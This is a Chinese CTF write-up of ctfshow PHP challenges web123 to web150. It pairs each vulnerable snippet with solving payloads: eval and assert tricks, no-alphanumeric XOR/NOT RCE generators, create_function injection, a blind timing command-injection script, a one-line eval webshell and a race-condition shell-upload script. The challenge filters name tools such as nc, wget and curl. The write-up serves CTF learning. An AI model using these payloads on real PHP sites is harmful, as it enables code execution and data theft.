ctfshow - web123-150 - PHP特性2

题目都是ctfshow的,版权是ctfshow的!!!!!!如果侵权,联系立马删除

web123

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

变量名出现.

变量名应该只有数字、字母、下划线,GET、POST方式传进去的变量名会自动将空格、+、.、[、转换为_。

特殊字符[,经GET、POST方式传参,变量名中的[也会被替换为_,但其后字符不会被替换。

如CTF[SHOW.COM=>CTF_SHOW.COM。

!isset($_GET['fl0g']

???

payload1

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

payload2

CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS),感觉可以,不过打不通。


web125

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

$_SERVER['argv']

  1. cli模式下(命令行)

    $_SERVER['argv'][0],其余是传递给脚本的参数

  2. web网页下

    在php.ini开启register_argc_argv配置项 设置register_argc_argv = On,可以控制参数。

    $_SERVER['argv'][0]中,对于传递的参数,可以通过加号+进行分割

    http://www.360doc.com/content/18/0203/09/52553745_727370869.shtml

assert

assert(mixed $assertion, Throwable $exception = ?): bool。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

payload1

GET:?$f10g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

payload2

$_SERVER['argv'][0]中,对于传递的参数,可以通过加号+进行分割。

parse_str() 函数把查询字符串解析到变量中。

GET: a=1+fl0g=flag_give_me

POST: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

GET: a=1+$fl0g=flag_give_me

POST: CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[1])

payload3

GET:?1=flag.php

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])


web126

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

payload1

GET:?a=1+fl0g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

payload2

GET:?$fl0g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])


web127

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}
if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}
if($ctf_show==='ilove36d'){
    echo $flag;
}

$_SERVER['QUERY_STRING'];

传递参数的方式

获取的为url?获得值

img

payload

利用传参时空格可以会替换为_实现绕过waf。

?ctf show=ilove36d


web128

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05
*/
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 

想不到合适的函数可以绕过check

https://www.cnblogs.com/lost-1987/articles/3309693.html

https://www.php.net/manual/zh/book.gettext.php

gettext();_()

_()是一个函数 *()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars()函数 get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

在开启该拓展后 _() 等效于 gettext()

get_defined_vars( void)

array 返回由所有已定义变量所组成的数组

var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));

payload

?f1=_&f2=get_defined_vars


web129

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

需要构造f中含有flag文件和ctfshow的形式,关键就是如何分割这两部分。

目录穿越

利用目录穿越漏洞绕过 stripos 检测字符,stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)

payload1

?f=/ctfshow/../../../../var/www/html/flag.php

payload2

伪协议绕过

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

?f=php://filter/read=ctfshow/resource=flag.php

filter伪协议支持多种编码方式,无效的就被忽略掉了。

payload3

远程文件包含,在自己的服务器上写个一句话,然后保存为txt文档。
例如 f=http://url/xxx.txt?ctfshow
其中xxx.txt为一句话


web130

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

my thought

匹配字符串过滤ctfshow,但是又需要包含,想法是能否通过截断preg_match。

right way

  1. /.+?ctfshow/is 该正则直接通过ctfshow即可绕过
  2. 利用正则最大回溯次数绕过

    PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
    回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。

payload1

f=ctfshow

或f[]=ctfshow

payload2

import requests
url="http://f6736092-7d96-46c5-bfb7-a31f636efae9.chall.ctf.show:8080/"
data={
   'f':'a'*1000000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web131

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

payload

web130的payload1均不行,payload2干。

import requests
url="http://c1c9f7bc-4491-4e51-865f-8327a59e3db3.challenge.ctf.show:8080/"
data={
   'f':'a'*1000000+'3ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

访问robot.txt,发现存在/admin,发现源码

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 06:22:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: [email protected]
# @link: https://ctfer.com
*/
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){     
        if($code == 'admin'){
            echo $flag;
        }
    }
}

my thought

&&与||优先级,保证username=admin后即可进入内部if判断。

payload

?username=admin&password=&code=admin


web133——不懂未做

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 16:43:44
*/
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

my thought

cat f; vi f;均不行。。

right way

https://blog.csdn.net/qq_46091464/article/details/109095382

payload


web134

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-14 23:01:06
*/
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

my thought

参考web127,不明白如何绕过

if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2']))

right way

php变量覆盖 + extract($_POST);

php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。

先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。

parse_str($_SERVER['QUERY_STRING']);var_dump($_POST);

传入?_POST['a']=123,输出array(1) { ["'a'"]=> string(3) "123" }

payload

GET

?_POST[key1]=36d&_POST[key2]=36d


web135——不懂未做

题目

my thought

right way

payload


web136

题目

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}

my thought

尝试了?c=ls;无回显,不知道是语法错误还是其他问题。

right way

linux tee命令

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件

tee file1 file2 //复制文件
ls|tee 1.txt //命令输出

payload

?c=ls /| tee 1

访问 url/1,可看到/根目录下文件

image-20210814173459644

?c=cat /f149_15_h3r3| tee 2

访问url/2可得flag。


web137

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:27:49
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
call_user_func($_POST['ctfshow']);

my thought

不懂如何调用getFlag函数。

right way

call_user_func调用类中的方法

双冒号可以不用实例化一个类的情况下调用类的静态方法。

<?php
class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));
?>
/*
Hello!
Hello!
Hello!
*/

payload

ctfshow=ctfshow::getFlag


web138

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:52:13
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}
call_user_func($_POST['ctfshow']);

my thought

凉,刚才的方法不行了。

right way

call_user_func调用类中的方法

可以使用数组绕过,取数组的key进行调用

image-20210814180429070

payload

ctfshow[0]=ctfshow&ctfshow[1]=getFlag


web139

题目

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}

right way

无回显,需要盲打(类似sql盲注)

要解决两个问题【why??

  1. 截取字符串
  2. 判断命令执行结构

awk逐行获取

image-20210816150713982

cut命令截取单独的字符

cut -c x,x为截取的字符

payload

cmd处先换成ls /,查看/路径下文件。

import requests

cmd = 'cat /f149_15_h3r3'
result = ''
for i in range(1, 10):
    for j in range(1, 50):
        print('i=', i, ' j=', j)
        for k in range(32, 128):
            k = chr(k)
            payload = f"if [ `{cmd} |awk NR=={i}|cut -c {j}` == {k} ]; then sleep 3;fi"
            payload = '?c=' + payload
            url = 'xxx'
            try:
                requests.get(url + payload, timeout=(2.5, 2.5))
            except:
                result = result + k
                print(result)
                break
    result = result + "\n"

web140

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 12:39:25
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

my thought

构造一个无参函数,一个含参函数,使得返回值为ctfshow。

right way

考察: 函数的利用

通过表格松散比较可以看到0和字符串比较结果为真

img

所以intval($code)为0即可,intval会将非数字字符转为0.

payload

f1=usleep&f2=usleep

f1=intval&f2=intval

md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())   
......

web141

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:28:09
*/
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

my thought

^除^后外字符

w字母数字下划线

+匹配子表达式一次或多次

$匹配输入字符串的结尾

构造形式没思路。

right way

无数字字母rce

<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

绕过eval("return $v1$v3$v2;");

1system("whoami"); error不会执行
1+system("whoami"); Warning 会执行

这是php中一个有意思的地方,数字是可以和命令进行一些运算的,例如 1+phpinfo();是可以执行phpinfo()命令的, 命令前加一些 + - * / 之类的都可以成功命令执行,。所以我们只要构造1*system("cat flag.php")*1即可读取flag (这里不用加号是因为会被解析成空格)

payload

?v1=1&v2=1&v3=*(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

image-20210816164540750

image-20210816164527370

?v1=1&v2=1&v3=*(~%8C%86%8C%8B%9A%92)(~%93%8C);

image-20210816164629097

image-20210816164639128

最后读flag。

?v1=1&v2=1&v3=*(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);


web142

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:36:02
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

my thought

0乘任何数都等于0.

payload

?v1=0


web143

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 12:48:14
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

payload



/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
  
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);
# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")?>

=>system(ls);

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")?>

=>system(cat flag.php)


web144

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 16:21:15
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
function check($str){
    return strlen($str)===1?true:false;
}

v3长度应为1,换一下参数的位置

payload

?v1=1&v3=1&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")?>


web145

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

异或和非不好使了,用或

//对双引号做了过滤,用单引号替换
//对加减乘除做了过滤,可以1用或替换 0|(xxx)|0  ,当然也可以用三元运算符 1?(xxxx):0

payload

?v1=0&v2=0&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|


web146

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

payload

?v1=0&v2=0&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|


web147

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 02:04:38
*/
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }
}

my thought

$ctfshow('',$_GET['show']);想不到合适的函数。

right way

php里默认命名空间是,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法.

create_function()代码注入

https://my.oschina.net/huyex/blog/2885273

create_function('$a,$b','return 111')
==>
function a($a, $b){
    return 111;
}

想要执行任意代码,需要跳出函数的定义。

create_function('$a,$b','return 111;}phpinfo();//')
==>
function a($a, $b){
    return 111;}phpinfo();//
}

这样就能进行任意代码执行。

payload

POST

ctf=create_function

GET
?show=;}system('ls ');//

?show=;}system('cat flag.php');//


web148

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 03:52:11
*/
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

无字母数字RCE异或取反脚本

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));//根据题目改
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("148_xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

image-20210817092203889

如果不需要system等命令执行函数,直接写函数名即可。

payload1

?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")(""^"");

payload2

$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其中"`{{{" ^ "?<>/"异或得到_GET
$哈=_GET;
$_GET[哼]($_GET[嗯]);
?哼=system&嗯=tac f*

web149

题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 04:34:40
*/
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

payload1

非预期

GET

?ctf=index.php

POST

show=<?php eval($_POST[1]); ?>

我出不来。。

payload2

# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading

url = 'http://c94e1c3c-3896-4603-9c37-80fa23cbb138.challenge.ctf.show:8080/'


def write():
    while event.isSet():
        data = {
            'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
            #'show': '<?php system("ls /");?>'
        }
        requests.post(url=url+'?ctf=1.php', data=data)


def read():
    while event.isSet():
        response = requests.get(url + '1.php')
        if response.status_code != 404:
            print(response.text)
            event.clear()


if __name__ == "__main__":
    event = threading.Event()
    event.set()
    for i in range(1, 100):
        threading.Thread(target=write).start()

    for i in range(1, 100):
        threading.Thread(target=read).start()

bp也搞得来


web150

题目

my thought

right way

payload

payload


web150_PLUS

题目

my thought

right way

payload


再看

123、128、133、134、135、136、137、139 、140、141、143、149、


参考

https://npfs06.top/2021/03/08/CTFshow-web%E5%85%A5%E9%97%A8-php%E7%89%B9%E6%80%A7/
https://blog.csdn.net/weixin_45551083/article/details/110574834

本文链接:

https://littlewhite.fun/index.php/431.html
1 + 7 =
快来做第一个评论的人吧~